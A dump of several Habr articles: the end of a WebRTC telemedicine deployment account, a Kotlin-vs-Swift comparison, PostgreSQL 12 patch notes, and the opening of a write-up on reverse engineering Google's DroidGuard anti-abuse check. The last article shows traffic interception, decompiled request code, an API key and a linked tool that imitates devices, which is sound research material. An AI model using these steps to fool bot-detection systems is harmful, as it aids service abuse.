Раз уж статья про мой опыт, то поделюсь информацией о том, что современные браузеры стали очень строго следить за безопасностью. Если у ресурса самоподписанный сертификат, то даже с особым разрешением, браузер запрещает доступ к периферийным устройствам компьютера.
Можно создать сертификат на бесплатных ресурсах в Интернете и настроить локальную сеть под его использование, а можно скачать Firefox версии не выше 65. В этой версии, достаточно нажать кнопку, что я соглашаюсь с рисками самоподписанных сертификатов и получить доступ к камерам и микрофонам.
Этот путь показался мне проще.
### Второе тестирование (уже осторожное)
Мне показалось, что доктор побежит за попкорном, когда он увидел меня на следующем тестировании. Он явно получал удовольствие от наблюдения за моей борьбой с современными технологиями.
По сути это обновление системы не было релизом, т. к. я ничего не починил, я даже причины проблем не знал. Повторюсь, что в офисе всё работало прекрасно. В код были добавлены реакции на все события, которые генерировали WebRTC и Kurento, до которых я дотянулся, и всё это очень подробно писалось в логи. Я даже вывел мои логи в отдельные файлы, чтобы они не путались с основными в МИС.
Вместе с увлеченным доктором и системным администратором клиента мы пытали систему. Даже не тестировали, а именно “пытали”. Создавали видеоконференции во всех возможных режимах и со всех доступных устройств. Привлекали в эту игру других врачей и часть персонала из удаленного офиса.
Главное было не проверить систему (она не работала), а собрать как можно больше данных. В результате выяснилось, что:
1. Примерно 80% попыток создать видеоконференцию проходят успешно.
2. Часть подключений с использованием ICE кандидатов на IPv6 не работают.
3. Из 5-ти мобильных операторов работали только 2.
### Всё оказалось просто — на одном Google далеко не уехать
Анализ собранной информации показал, что нестабильно работает подключение через TURN сервера от Google. То ли нагрузка на них большая, то ли это просто демо-сервера для тех, кто только начинает изучать технологию. Но как факт: очень частые отказы. Нужен свой TURN/STUN сервер!
Вторая причина сбоев — это адреса IPv6.local. Сервер kurento не принимает ICE- кандидаты с этими адресами. Хорошо, что перед отправкой все ICE-кандидаты проходят через код в моих руках и IPv6.local я просто отфильтровал.
Проблема мобильных операторов решается, опять же, своим TURN/STUN сервером.
У трёх из пяти мобильных операторов NAT симметричен, и WebRTC пробиться не может. Подробнее можно почитать здесь: [Так ли страшен Symmetric NAT.](https://habr.com/ru/post/150298/)
Обидно, что мой личный мобильник работает на симке оператора, который не озаботился симметричной защитой. Поэтому моё первоначальное тестирование не выявило этой проблемы.
### TURN/STUN сервер
В качестве своего сервера был выбран пакет resiprocate-turn-server.
Долго не выбирали — он есть в стандартном репозитории ubuntu — простая установка и автоматические обновления. Но не очень удобная работа с аккаунтами для подключения: логины и пароли берутся только из файла, из-за чего приходится делать дополнительную утилиту или скрипт для экспорта из базы данных основного сервера.
В данный момент этот файл сгенерирован руками и аккаунты раздаются через простой пул паролей. Авторизация реализована через главный сервер МИС, так что безопасность не нарушена. Но общая структура всей системы выглядит некрасиво. В планах переделка этого момента.
### Третий поход к клиенту
Поправил код, установил и настроил свой TURN/STUN сервер, разработал пул паролей и их раздачу клиентам при старте видеоконференции, и, после обновления продакшн-серверов, я пошел к уже знакомому доктору.
Оно работает! Ура! Все запуски конференций успешны со всех устройств и во всех режимах: пациент из личного кабинета может позвонить доктору, терапевт во время приема может позвонить функциональному диагносту для дополнительной консультации, да и сами доктора могут устроить многопользовательскую видеоконференцию из разных филиалов со всего города.
Уже наученные горьким опытом, мы занялись придирчивым тестированием с искусственным созданием нештатных ситуаций. Из того, что касается темы этой статьи, выделю необходимость устанавливать ограничение на время ожидания подключения. WebRTC вместе с Kurento ждут начала вещания бесконечно долго и надеются, что вот-вот пойдут байтики видео. Пришлось ставить таймер на 10 секунд, который выдаёт ошибку управляющему серверу, если байты так и не пришли.
### После всех доработок
Наконец, система функционирует и хорошо работает. Пошли первые отзывы от пользователей на местах. И сразу появилось огромное количество пожеланий и предложений по дизайну, дополнительным функциям и прочим планам к дальнейшей разработке. Работа закипела с новой силой!
Сейчас полная топология системы выглядит так:
### ИТОГИ:
В завершении хочется сказать следующее:
Во-первых, WebRTC отличная технология с огромными перспективами, но тестировать и отлаживать её очень сложно. Перед началом разработки обязательно разворачивать сеть со всеми видами подключений, которые могут быть у клиента. Да и отладка через информационное окно браузера — не очень удобный инструмент.
Во-вторых, хвала Хабру! Работая над этим проектом, много информации я нашел на этом ресурсе. Все ссылки в этой статье ведут на него.
Сам же проект видеоконференций “Телемедицина” решено оставить на поддержке и развитии у нашей организации, мы не будет его отдавать на аутсорсинг. В перспективе еще очень много работы:
* Предстоит доработка склейки записанных видео. Буду опять обращаться к Хабру, уже нашел статью для начала: [Объединение видеофрагментов с нескольких камер и синхронизация их по времени.](https://habr.com/ru/post/277179/)
* Надо переработать систему регистрации пользователей на управляющем сервере, сервере основной МИС и turn-сервере.
* И открыт вопрос с пропускной способностью всей системы в целом. Стресс-тестов ещё не проводилось. Подготавливаюсь, читаю опять же Хабр: [Сколько участников может быть в WebRTC-звонке?](https://habr.com/ru/company/Voximplant/blog/346924/)
### ВСЁ
Уверен, что мой опыт будет полезен не только для разработчиков под WebRTC + Kurento, но и для тех, кто собирается приступить к внедрению столь же сложных проектов. Уделяйте больше внимания тестированию в максимально приближенных к реальности условиям.
И учитывайте риски того, что команды поддержки Ваших микросервисов могут внезапно “пропасть” — это очень неожиданные и неприятные хлопоты. | https://habr.com/ru/post/478536/ | null | ru | null |
# Котлин против Свифта: Android и iOS движутся к созданию универсального языка?
*Друзья, всем привет. На связи Дмитрий Кожевин — преподаватель базового курса [«Android-разработчик»](https://otus.pw/TbTg/) в OTUS. Специально для читателей нашего блога я подготовил перевод вот такой отчасти провокационной статьи. Очень интересно ваше мнение, поэтому после прочтения приглашаю всех в комментарии к данной публикации.*
---
Как только Kotlin получил поддержку Google, явное волнение фанатов Kotlin стало не единственной реакцией. Те, кто не знаком с Kotlin, были весьма обеспокоены его уровнем совместимости с Java, средним временем, необходимым для его освоения, а также [преимуществами использования Kotlin](https://www.scnsoft.com/blog/kotlin-development-what-you-need-to-know-about-androids-new-official-language) в целом.
В своих попытках объяснить и представить язык максимально коротким и ясным способом многие разработчики Kotlin ссылались на трехлетнюю параллель между Kotlin и вторым официальным языком iOS — Swift. Называя Kotlin «Swift of Android», все упростило задачу и помогло создать образ для языка. Тем не менее, это изображение также вызвало [споры](https://blog.mosheberman.com/swift-is-not-like-kotlin/) в сообществе iOS, так как некоторые разработчики iOS не сочли сравнение лестным и увидели в Kotlin просто подражателя.
По крайней мере, следует отметить, что хотя Swift появился в 2013 году, Kotlin появился еще в 2011 году. Следовательно, даже если сравнение Kotlin и Swift (в этом точном порядке) может быть удобным из-за более раннего знакомства Swift с широкой аудиторией, любое утверждение, что Котлин подражает — не оправдано.
Тем не менее, стоит ли сравнивать? Если да, то насколько сильно простирается сходство? И намекает ли его существование на тот факт, что выпуск приложений для iOS и Android изначально может стать проще и быстрее в будущем? Огромный опыт ScienceSoft в [услугах по разработке мобильных приложений](https://www.scnsoft.com/services/mobile-app-development) позволяет спекулировать на этом этапе. Давайте посмотрим на это.
Синтаксис
---------
Синтаксис Swift не просто напоминает синтаксис Kotlin — в небольших кусках кода может быть до [77% сходства строк](http://angelolloqui.com/blog/38-Swift-vs-Kotlin-for-real-iOS-Android-apps).
Основные различия могут быть сведены к таблице ниже:
| Kotlin | Swift |
| --- | --- |
| fun | func |
| val | let |
| null | nil |
| trait | protocol |
| constructor | init |
| : | -> |
| Any | AnyObject |
| !! | ! |
Основы, классы и функции имеют очень похожие способы выражения. В отличие от Objective-C, вызовы методов Swift похожи на вызовы Java и Kotlin, с их системой пространств имен и стилем точечной нотации. Например, вот как выглядит вызов функции на двух языках:
| Kotlin | Swift |
| --- | --- |
| fun forecast(day: String, weather: String): String { | func forecast(\_ day: String, \_ weather: String) -> String { |
| return «Today is $day, it's $weather.» | return «Today is \(day), it's \(weather).» |
| } | } |
| forecast(«Monday», «Raining») | forecast(«Monday», «Raining») |
И вот как классы объявлены в обоих:
| Kotlin | Swift |
| --- | --- |
| class Residence { | class Residence { |
| var numberOfRooms = 0 | var numberOfRooms = 0 |
| fun Description() = | func Description() -> String { |
| «A house with $numberOfRooms.» | return «A house with \(numberOfRooms).» |
| } | } |
| | } |
В этой [статье](http://nilhcem.com/swift-is-like-kotlin/) можно найти много других примеров, и если они нам что-то говорят, то это то, что оба языка имеют общую цель — быть максимально краткими и прозрачными, что делает жизнь разработчиков проще. Синтаксические системы Котлина и Свифта довольно эффективны в этом отношении, поскольку команды разработчиков высоко ценят их элегантность.
Security
--------
Хотя Swift и Kotlin сильны и статичны с точки зрения типизирования, они также позволяют работать с динамическими типами. Таким образом, языки остаются краткими и гибкими, позволяя заблаговременно устранять ошибки и несоответствия. Поэтому они считаются очень безопасными и особенно надежными для больших проектов.
Кроме того, эти два языка сочетают в себе подходы к обработке необязательных значений и null/nil безопасности с помощью оператора безопасной навигации "?" или типы опций. Меры предосторожности со знаком "?" выражены почти одинаково как в Kotlin, так и в Swift:
| Kotlin | Swift |
| --- | --- |
| val example: String? = null | var example: String? = nil |
Особенности
-----------
Помимо null (nil) безопасности, функций и классов, Kotlin и Swift обладают множеством схожих функций, включая `constants, variables, generics, protocols/traits` ([trait заменено на interface](https://stackoverflow.com/a/46757980/3166697), прим. переводчика ), `enumerated types, any (anyobject)`, обработку ошибок и другие. Некоторые функции, реализованные на двух языках, разделяют подход, но называются по-разному из-за оригинального языка, к которому эти функции возвращаются.
Например, в Kotlin можно найти лямбда-выражения Java. В Swift это блоки или замыкания, термины из Objective-C. То, как оба выражения вызываются в код, аналогично тому, как они работают.
| **Kotlin** | **Swift** |
| --- | --- |
| { | { \_in |
| println(«Lambda Expression») | print(«Closure Expression») |
| } | } |
Функция, известная как **вычисляемые свойства** в Swift, которая является определенным объявлением свойства с вызовом get, также включена в Kotlin:
| Kotlin | Swift |
| --- | --- |
| class Animal( | class Animal { |
| var Genus: String, | var Genus: String |
| var Species: String) { | var Species: String |
| val binomialName: String | var binomialName: String { |
| get() = "$Genus $Species" | get { |
| } | return "\(Genus) \(Species)" |
| | } |
| | } |
| | } |
**Параметры имени** (или именованные аргументы) также используются на обоих языках:
| Kotlin | Swift |
| --- | --- |
| fun daysoff(vacation: Int, weekends: Int): Int = vacation + weekends | func daysoff(vacation: Int, weekends: Int) -> Int { |
| | return vacation + weekends |
| | } |
| daysoff(5, weekends = 8) | daysoff(vacation: 5, weekends: 8) |
На самом деле, вместо перечисления функций, которые существуют на обоих языках, было бы проще перечислить те, которые не имеют. А именно, только Kotlin поддерживает:
* импорт классов
* первичные конструкторы и классы данных
* @annotations
В то же время, в отличие от Котлина, Swift имеет:
* кортежи
* typealias
* guard statement
Значение сходства
-----------------
Два языка четко разделяют идеологию, поскольку они решают те же проблемы, которые были созданы языками их предков: они менее многословны и ограничены по функциям, более удобочитаемы и удобны для работы. В то же время и Kotlin, и Swift остаются совместимыми с Java и Objective-C соответственно, что позволяет использовать их как в новых проектах, так и в обслуживании старых.
Более того, сильное сходство двух языков может помочь в разработке собственных приложений для iOS и Android. Разумеется, нельзя сказать, что приложения на обеих платформах могут совместно использовать один код, поскольку языки и библиотеки для конкретных ОС не идентичны. Тем не менее, подходы к логике и функциональности приложения могут быть очень похожими, благодаря синтаксическому и функциональному сходству между Swift и Kotlin. Это может сделать разработку, тестирование и обслуживание быстрее и проще.
Универсальный язык для iOS и Android?
-------------------------------------
Теоретически, Google мог уже принять Swift в качестве официального языка вместо Kotlin; даже в 2016 году ходили слухи об этой возможности. Такой шаг, возможно, не создал бы ситуацию, когда какие-либо кроссплатформенные инструменты разработки стали бы неактуальными, но разница между этими двумя платформами, несомненно, стала бы размытой.
Однако такой шаг также был бы неразумным, и не только из-за конкурентоспособности бизнеса. Хотя Свифт и Котлин похожи, больше всего они похожи на своих предшественников. Другими словами, Свифт и Котлин преодолевают разрыв между Objective-C и Java. Однако переход с Java на Kotlin все же более естественный и плавный, чем переход с Java на Swift.
В общем, мысль о приспособлении к чему-то новому не всем нравится; некоторые разработчики не торопятся, чтобы начать использовать новый язык, как это было [с принятием Swift](https://www.scnsoft.com/blog/why-you-should-consider-developing-your-ios-app-on-swift). Убедиться в том, что переход на новый язык будет не таким тяжелым испытанием, означает, что язык в конечном итоге завоевывает популярность, а для на нового языка это актуально в первую очередь.
Прощальная мысль
----------------
Поскольку мобильная разработка постоянно развивается, развиваются и технологии. Вот почему через 5-10 лет и Котлин, и Свифт могут стать чем-то совершенно другим. Пока неизвестно, будут ли языки продолжать устранять разрыв между собой. Тем не менее, поскольку iOS и Android ищут наиболее удобный, безопасный и быстрый инструмент для мобильной разработки, они смогут в конечном итоге говорить на одном языке в один прекрасный день. | https://habr.com/ru/post/474224/ | null | ru | null |
# PG12: Дюжина патчей от Postgres Professional
*Приятно видеть знакомые фамилии в списке Acknowledgments официального релиза PostgreSQL 12. Мы решили свести вместе попавшие в релиз новшества и некоторые багфиксы, над которыми трудились наши разработчики.*
### 1. Поддержка JSONPath
(В [Release Notes](https://www.postgresql.org/docs/12/release-12.html) это звучит как *Add support for the SQL/JSON path language (Nikita Glukhov, Teodor Sigaev, Alexander Korotkov, Oleg Bartunov, Liudmila Mantrova)*
Сам этот патч, возможности JSONPath и история вопроса обсуждались в деталях [в отдельной статье](https://habr.com/ru/company/postgrespro/blog/448612/) здесь на хабре. JSONPath — серьезное достижение Postgres Professional и одно из главных новшеств PostgreSQL 12 вообще.
В 2014 году А.Коротковым, О.Бартуновым и Ф.Сигаевым было разработано расширение [jsquery](https://postgrespro.ru/docs/postgrespro/11/jsquery), вошедшее в результате в версию Postgres Pro Standard 9.5 (и в более поздние версии Standard и Enterprise). Оно дает дополнительные, очень широкие возможности для работы с json(b).
Когда появился стандарт SQL:2016, оказалось, что его семантика не так уж сильно отличается от нашей в расширении jsquery. Не исключено, что авторы стандарта даже поглядывали на jsquery, изобретая JSONPath. Нашей команде пришлось реализовывать немного по-другому то, что у нас уже было и, конечно, много нового тоже.
Хотя специальный патч с функциями до сих пор не закоммичен, в патче JSONPath уже есть ключевые функции для работы с JSON(B), например:
```
jsonb_path_query('{"a": [1,2,3,4,5]}', '$.a[*] ? (@ > 2)') возвращает 3, 4, 5
jsonb_path_query('{"a": [1,2,3,4,5]}', '$.a[*] ? (@ > 5)') возвращает 0 записей
```
Кроме того, [были оптимизированы](https://www.postgresql.org/message-id/flat/7c417f90-f95f-247e-ba63-d95e39c0ad14%40postgrespro.ru) и некоторые функции, которые уже работали с JSON раньше. Этим успешно занимался Никита Глухов.
Например, оператор `#>>`, соответствующий функциям `jsonb_each_text()` и `jsonb_array_elements_text()`, раньше достаточно быстро преобразовывал JsonbValue в text, но работал неторопливо с другими типами. Сейчас всё работает быстро.
### 2. Поддержка быстрого поиска ближайших соседей в индексах SP-GiST (KNN)
*(Add support for nearest-neighbor (KNN) searches of SP-GiST indexes. Nikita Glukhov, Alexander Korotkov, Vlad Sterzhanov)*
Никита Глухов и Александр Коротков из нашей компании продолжили работу, начатую Владом Стержановым из Минска (он же Quadrocube). Postgres был первой СУБД, которая реализовала поиск ближайших соседей — раньше Oracle и MS, причём гораздо более прямым и удобным способом — и это заслуга Олега Бартунова и его команды. Идея этого поиска в оригинальном алгоритме обхода дерева, дающем в большинстве случаев огромный выигрыш. Поиск ближайших соседей используется много где, но в ГИС особенно часто.
Влад сделал патч KNN-поиска для для работы с пространственными индексами SP-GiST для quad-деревьев, когда плоскость делят на квадраты фиксированного размера, и для KD-деревьев, то есть k-мерных деревьев.
Александр Коротков, ментор Влада по GSoC (Google Summer of Code), продолжил разработку с коллегой из Postgres Professional Никитой Глуховым. Была серьезно обогащена функциональность: улучшено внутренние кэширование данных при обходе дерева, добавлены классы операторов для окружностей и многоугольников с упорядочением по расстоянию.
Чтобы воспользоваться алгоритмом поиска ближайших соседей, достаточно написать `ORDER BY [выражение, содержащее оператор расстояния]`, и тогда оптимизатор автоматически подключит этот алгоритм. Например,
```
SELECT * FROM polygons
ORDER BY poly <-> point '(0,0)';
```
Патчи Никиты Глухова можно увидеть [на гитхабе](https://github.com/glukhovn/postgres/commits/knn_spgist).
### 3. Оптимизация блокировок для ускорения вставки в индексы B-Tree
*(В [Release Notes](https://www.postgresql.org/docs/12/release-12.html#id-1.11.6.5.5) это Improve speed of btree index insertions by reducing locking overhead. Alexander Korotkov)*
Александру Короткову, главному системному архитектору Postgres Professional, удалось придумать более разумный алгоритм блокировок при вставке в индексы B-tree. Выигрыш после применения этого патча заметен в случаях, когда вставка происходит более или менее «подряд». Измерения на 72-ядерном сервере показали, что в этом случае выигрыш доходит до 50%. При хаотичной вставке выигрыш не так заметен.
### 4. Экономный WAL
*(Reduce the WAL write overhead of GiST, GIN, and SP-GiST index creation. Anastasia Lubennikova, Andrey V. Lepikhov)*
Эта серия патчей позволяет [сократить WAL-трафик](https://www.postgresql.org/message-id/flat/a055f129-518e-3eac-1242-833d58edfddb@postgrespro.ru), генерируемый при создании индексов GiST, GIN и SP-GiST. Теперь можно логировать страницы таких индексов только один раз — в конце, когда индекс уже построен. А в случае ошибки при построении индекса записи в WAL о неудачных попытках вообще не появятся. Раньше такое было возможно только при создании B-tree и RUM. Патчи используют механизм [generic WAL](https://postgrespro.ru/docs/postgresql/12/generic-wal).
Для проверки размера `xlog` приложены скрипты. Тестирование на базе данных IMDB (формат JSON), в которой 4М+ записей, занимающих 4ГБ, показало:
```
CREATE INDEX ON imdb USING gin(jb jsonb_path_ops);
```
старым способом исполнялся 205 секунд, WAL 3.2 ГБ, а новый алгоритм дал 133 секунды, и WAL 0.4 ГБ.
### 5. Оптимизация сканирования index-only в случае многих колонок.
*(Allow index-only scans to be more efficient on indexes with many columns. Konstantin Knizhnik)*
При анализе работы базы одного из клиентов нашей компании [обнаружилось](https://www.postgresql.org/message-id/flat/e06b2d27-04fc-5c0e-bb8c-ecd72aa24959%40postgrespro.ru), что один и тот же запрос исполняется в некоторых случаях дольше на 25% с index only scan, чем с index scan (enable\_indexonlyscan = off).
Это происходило, когда SELECT выполнялся по многим полям, которые имели в основном тип `bytea`, и их офсеты не кэшировались, так как у таких полей нет фиксированного смещения (об этом см. также доклад Николая Шаплова [«Что у него внутри»](https://pgconf.ru/2016/90059)). Чтобы распаковать k-й атрибут, надо распаковать предыдущие k-1. Распаковка записи по одному атрибуту требует O(N\*N) времени, где N — число полей. Эти 25% случились уже при 10 полях.
Константин Книжник воспользовался алгоритмом, который используется при работе с хипом: при обращении к k-ому атрибуту, достаются и запоминаются предыдущие k-1, время растет линейно с числом полей. После применения патча время выполнения с index scan и index only scan практически не отличается.
### 6. Контроль сброса WAL-сегментов на диск
*(Add a wait event for fsync of WAL segments. Konstantin Knizhnik)*
Ядро PostgreSQL мониторит запись в WAL, но не следит за сбросом сегментов WAL из памяти на диск, то есть за `fsync`. К.Книжник сделал патч, который создает новый тип события, оно называется теперь WALSync (внутреннее имя переменной WAIT\_EVENT\_WAL\_SYNC). Его можно увидеть в [табличке PG-событий](https://www.postgresql.org/docs/12/monitoring-stats.html#WAIT-EVENT-TABLE) с пояснением «Ожидание сброса WAL-файла в надежное хранилище». Этот вопрос [обсуждался](https://www.postgresql.org/message-id/flat/4a243897-0ad8-f471-aa40-242591f2476e%40postgrespro.ru) в рассылке *hackers*.
Как долго происходит сброс, обычно неизвестно: стандартный PostgreSQL не умеет агрегировать такую статистику. Но есть [расширение pg\_wait\_sampling](https://github.com/postgrespro/pg_wait_sampling), написанное в Postgres Professional. Оно умеет рассказывать о том, в ожидании каких событий Postgres проводит время. Теперь, когда событие добавлено, можно следить и за `fsync`.
### 7. Поддержка новых языков в stemmer-словарях
*(Update Snowball stemmer dictionaries with support for new languages. Arthur Zakirov)*
Раз конференции по Postgres проходят в Непале, куда уж естественней [добавить](https://www.postgresql.org/message-id/flat/20180219140849.GA9050%40zakirov.localdomain) непальский язык в базу! Это и было сделано. Благодаря усилиям Артура Закирова теперь можно пользоваться непальским стемминг-словарем на *Snowball*.
### 8. Функции to\_timestamp()/to\_date() стали толерантней к данным
*(Adjust to\_timestamp()/to\_date() functions to be more forgiving of template mismatches, Artur Zakirov, Alexander Korotkov, Liudmila Mantrova)*
Функция `to_timestamp()` не работала, если обрабатывалась строка формата с лишними пробелами. Обсуждение бага в `to_timestamp()` вылилось в [пространную дискуссию](https://www.postgresql.org/message-id/flat/1873520224.1784572.1465833145330.JavaMail.yahoo%40mail.yahoo.com) о том, какое поведение функций `to_timestamp()` и — заодно — `to_date()` считать правильным. К всеобщей выгоде обе функции стали более терпимыми к лишним пробелам в строке формата и строке ввода.
### 9. Логи можно ротировать через pg\_ctl
*(Allow control of log file rotation via pg\_ctl. Kyotaro Horiguchi, Alexander Kuzmenkov, Alexander Korotkov)*
[Другими словами](https://postgrespro.ru/docs/postgresql/12/logfile-maintenance) утилита `pg_ctl` обзавелась новой опцией:
```
pg_ctl logrotate [-D каталог_данных] [-s]
```
Когда выполняется эта команда, сервер либо переключается на новый файл журнала, либо заново открывает существующий, в зависимости от [конфигурации журналирования](https://postgrespro.ru/docs/postgresql/12/runtime-config-logging#RUNTIME-CONFIG-LOGGING-WHERE). Это может понадобиться при внештатных ситуациях, особенно когда огромные, быстронаполняющиеся лог-файлы нужно, допустим, передать для диагностики.
### 10. Возможность создавать новые типы таблиц (Pluggable storage)
*(Add CREATE ACCESS METHOD command to create new table types. Andres Freund, Haribabu Kommi, Álvaro Herrera, Alexander Korotkov, Dmitry Dolgov)*
Этот важный патч — существенная часть инфраструктуры Pluggable Storage API, отсюда и международный состав разработчиков патча. Команда CREATE ACCESS METHOD работает в Postgres с версии 9.6. Но до 12-й можно было только создавать индексные методы доступа. Вот что [в документации 11-й версии](https://postgrespro.ru/docs/postgresql/11/sql-create-access-method):
```
CREATE ACCESS METHOD имя
TYPE тип_метода_доступа
HANDLER функция_обработчик
< ... >
тип_метода_доступа
Это предложение задаёт тип создаваемого метода доступа. В настоящее время поддерживается только INDEX.
```
А в документации к 12-й [уже читаем](https://postgrespro.ru/docs/postgresql/12/sql-create-access-method): *в настоящее время поддерживается только TABLE и INDEX.* Межу прочим, в 11-й команда CREATE ACCESS METHOD обеспечивалась расширением Postgres Pro, а в 12-й — уже PostgreSQL.
Исполнение операции зависит от типа метода доступа; если это тип TABLE, то обрабатывать будет `table_am_handler`, а если тип INDEX, то `index_am_handler` (раньше: для методов доступа типа INDEX это должен быть `index_am_handler`). Появилась целая [глава в документации](https://postgrespro.ru/docs/postgresql/12/tableam) о табличных методах.
При создании таблицы теперь можно задавать ее тип:
```
CREATE [ [ GLOBAL | LOCAL ] { TEMPORARY | TEMP } | UNLOGGED ] TABLE [ IF NOT EXISTS ] имя_таблицы ( [
< ... >
[ USING метод ]
```
*метод* имеет тип TABLE — это и есть отсылка к Pluggable Storage. Теперь он `heap` по умолчанию, а раньше другого, собственно, и не было. О классах операторов [здесь](https://postgrespro.ru/docs/postgresql/12/sql-createopclass)
`default_table_access_method (string)`
Этот параметр задаёт табличный метод доступа по умолчанию, который будет использоваться при создании таблиц или материализованных представлений, если в команде CREATE не будет явно указан метод доступа, или при выполнении команды SELECT… INTO, в которой явно задать метод доступа нельзя. Значение по умолчанию — `heap`. Большая дискуссия [в hackers](https://www.postgresql.org/message-id/flat/20160812231527.GA690404@alvherre.pgsql) поможет разобраться в деталях.
До этого момента мы говорили о новшествах. Но ресурсы времени программистов отъедает и исправление багов. Главные из них:
### 11. Баг: ошибка в одной из структур
*Extra quote\_all\_identifiers in \_dumpOptions. Arthur Zakirov)*
В общем, ничего особенного, найдена ошибка в одной из структур, которые использует `pg_dump` — ее пропустил компилятор. Но сам Брюс Момджян [похвалил](https://www.postgresql.org/message-id/flat/d3d92ce9-78a4-8adb-0393-d3deeec29f7e%40postgrespro.ru) за находку.
О других проблемах с `DumpOptions` можно почитать [здесь](https://www.postgresql.org/message-id/flat/CACw0%2B13ZUcXbj9GKJNGZTkym1SXhwRu28nxHoJMoX5Qwmbg_%2Bw%40mail.gmail.com).
### 12. Баг в реприликации:
*(xlogreader: do not read a file block twice. Arthur Zakirov)*
Другой сотрудник нашей компании, разработчик [pg\_probackup](https://github.com/postgrespro/pg_probackup) Григорий Смолкин обнаружил, что одна из наших утилит тормозится, когда xlogreader читает zlib-архивы. Оказалось, что иногда он читает файловые блоки WAL дважды.
Если архивы читаются непоследовательно, то производительность оставляет желать лучшего. Повторное чтение блока всегда непоследовательно, так как приходится возвращаться к пройденной позиции вызовом функции `gzseek()`. [Теперь](https://www.postgresql.org/message-id/flat/2ddf4a32-517e-d6f4-d992-4a63b6035bfd%40postgrespro.ru) лишнего перечитывания не происходит.
*P.S. Не буду лукавить: дюжина патчей (строго говоря дюжина серий патчей) не просто случайное совпадение с номером версии Postgres. Список вполне мог бы быть недо-дюжиной или сверх-дюжиной. Мне подумалось, что так будет красивей, а красота отчасти и двигатель программирования, не говоря о других областях человеческой деятельности.* | https://habr.com/ru/post/472072/ | null | ru | null |
# How I discovered an easter egg in Android's security and didn't land a job at Google
 Google loves easter eggs. It loves them so much, in fact, that you could find them in virtually every product of theirs. The tradition of Android easter eggs began in the very earliest versions of the OS (I think everyone there knows what happens when you go into the general settings and tap the version number a few times).
But sometimes you can find an easter egg in the most unlikely of places. There’s even an urban legend that one day, a programmer Googled “mutex lock”, but instead of search results landed on foo.bar, solved all tasks and landed a job at Google.
**Reconstruction**
The same thing (except without the happy ending) happened to me. Hidden messages where there definitely couldn’t be any, reversing Java code and its native libraries, a secret VM, a Google interview — all of that is below.
### DroidGuard
One boring night I factory-reset my phone and got to setting it up again. First things first, a fresh Android install asked me to log into the Google account. And I wondered: how does the process of logging into Android even work? And the night suddenly became less boring.
I use PortSwigger’s Burp Suite to intercept and analyze network traffic. The free Community version is enough for our purposes. To see the https requests we first need to install PortSwigger’s certificate onto the device. As a testing device I picked an 8-year-old Samsung Galaxy S with Android 4.4. Anything newer than that and you might have issues with certificate pinning and stuff.
In all honesty, there’s nothing particularly special with Google API requests. The device sends out information about itself and gets tokens in response… The only curious step is a POST request to the anti-abuse service.
After the request is made, among numerous very normal parameters there appears an interesting one, named **droidguard\_result**. It’s a very long Base64 string:
DroidGuard is Google’s mechanism for detecting bots and emulators among real devices. SafetyNet, for example, also uses DroidGuard’s data. Google has a similar thing for browsers, too — Botguard.
But what’s that data? Let’s find out.
### Protocol Buffers
What generates that link (*[www.googleapis.com/androidantiabuse/v1/x/create?alt=PROTO&key=AIzaSyBofcZsgLSS7BOnBjZPEkk4rYwzOIz-lTI](https://www.googleapis.com/androidantiabuse/v1/x/create?alt=PROTO&key=AIzaSyBofcZsgLSS7BOnBjZPEkk4rYwzOIz-lTI)*) and what inside Android makes this request? After a short investigation, it turned out that the link, in this exact form, is located inside one of Google Play Services’ obfuscated classes:
```
public bdd(Context var1, bdh var2) {
this(var1, "https://www.googleapis.com/androidantiabuse/v1/x/create?alt=PROTO&key=AIzaSyBofcZsgLSS7BOnBjZPEkk4rYwzOIz-lTI", var2);
}
```
As we’ve already seen in Burp, POST requests on this link have **Content-Type** — **application/x-protobuf** (Google Protocol Buffers, Google’s protocol for binary serialization). It’s not json, though — it’s difficult to uncover what exactly is being sent.
Protocol buffers work like this:
* First we describe the structure of the message in a special format and save it into a .proto file;
* Then we compile .proto files, and the protoc compiler generates source code in a chosen language (in Android’s case it’s Java);
* Finally, we use the generated classes in our project.
We have two ways to decode protobuf messages. The first one is to use a protobuf analyzer and try to recreate the original description of .proto files. The second is to rip out the protoc-generated classes out of Google Play Services, which is what I decided to do.
We take Google Play Services’ .apk file of the same version that’s installed on the device (or, if the device is rooted, just take the file straight from there). Using dex2jar we convert the .dex file back into .jar and open in a decompiler of choice. I personally like JetBrains’ Fernflower. It works as a plugin to IntelliJ IDEA (or Android Studio), so we simply launch Android Studio and open the file with the link we’re trying to analyze. If proguard wasn’t trying too hard, the decompiled Java code for creating protobuf messages could just be copy-pasted into your project.
Looking at the decompiled code, we see that Build.\* constants are being sent inside the protobuf message. (okay, that wasn’t too hard to guess).
```
...
var3.a("4.0.33 (910055-30)");
a(var3, "BOARD", Build.BOARD);
a(var3, "BOOTLOADER", Build.BOOTLOADER);
a(var3, "BRAND", Build.BRAND);
a(var3, "CPU_ABI", Build.CPU_ABI);
a(var3, "CPU_ABI2", Build.CPU_ABI2);
a(var3, "DEVICE", Build.DEVICE);
...
```
But unfortunately, in the server’s reply all protobuf fields turned into alphabet soup after obfuscation. But we can discover what’s in there using an error handler. Here’s how data coming from the server is checked:
```
if (!var7.d()) {
throw new bdf("byteCode");
}
if (!var7.f()) {
throw new bdf("vmUrl");
}
if (!var7.h()) {
throw new bdf("vmChecksum");
}
if (!var7.j()) {
throw new bdf("expiryTimeSecs");
}
```
Apparently, that’s how fields were called before obfuscation: **byteCode**, **vmUrl**, **vmChecksum** and **expiryTimeSecs**. This naming scheme already gives us some ideas.
We combine all the decompiled classes from Google Play Services into a test project, rename them, generate test Build.\* commands and launch (imitating any device we want). If someone wants to do it himself, here’s [the link to my GitHub](https://github.com/amankevich/antiabuse-request).
If the request is correct, the server returns this:
> 00:06:26.761 [main] INFO d.a.response.AntiabuseResponse — byteCode size: 34446
>
> 00:06:26.761 [main] INFO d.a.response.AntiabuseResponse — vmChecksum: C15E93CCFD9EF178293A2334A1C9F9B08F115993
>
> 00:06:26.761 [main] INFO d.a.response.AntiabuseResponse — vmUrl: [www.gstatic.com/droidguard/C15E93CCFD9EF178293A2334A1C9F9B08F115993](https://www.gstatic.com/droidguard/C15E93CCFD9EF178293A2334A1C9F9B08F115993)
>
> 00:06:26.761 [main] INFO d.a.response.AntiabuseResponse — expiryTimeSecs: 10
Step 1 complete. Now let’s see what’s hidden behind the **vmUrl** link.
### Secret APK
The link leads us directly to an .apk file, named after its own SHA-1 hash. It’s rather tiny — only 150KB. And it’s quite justified: if it’s downloaded by every single one of the 2 billion Android devices, that’s 270TB of traffic on Google’s services.
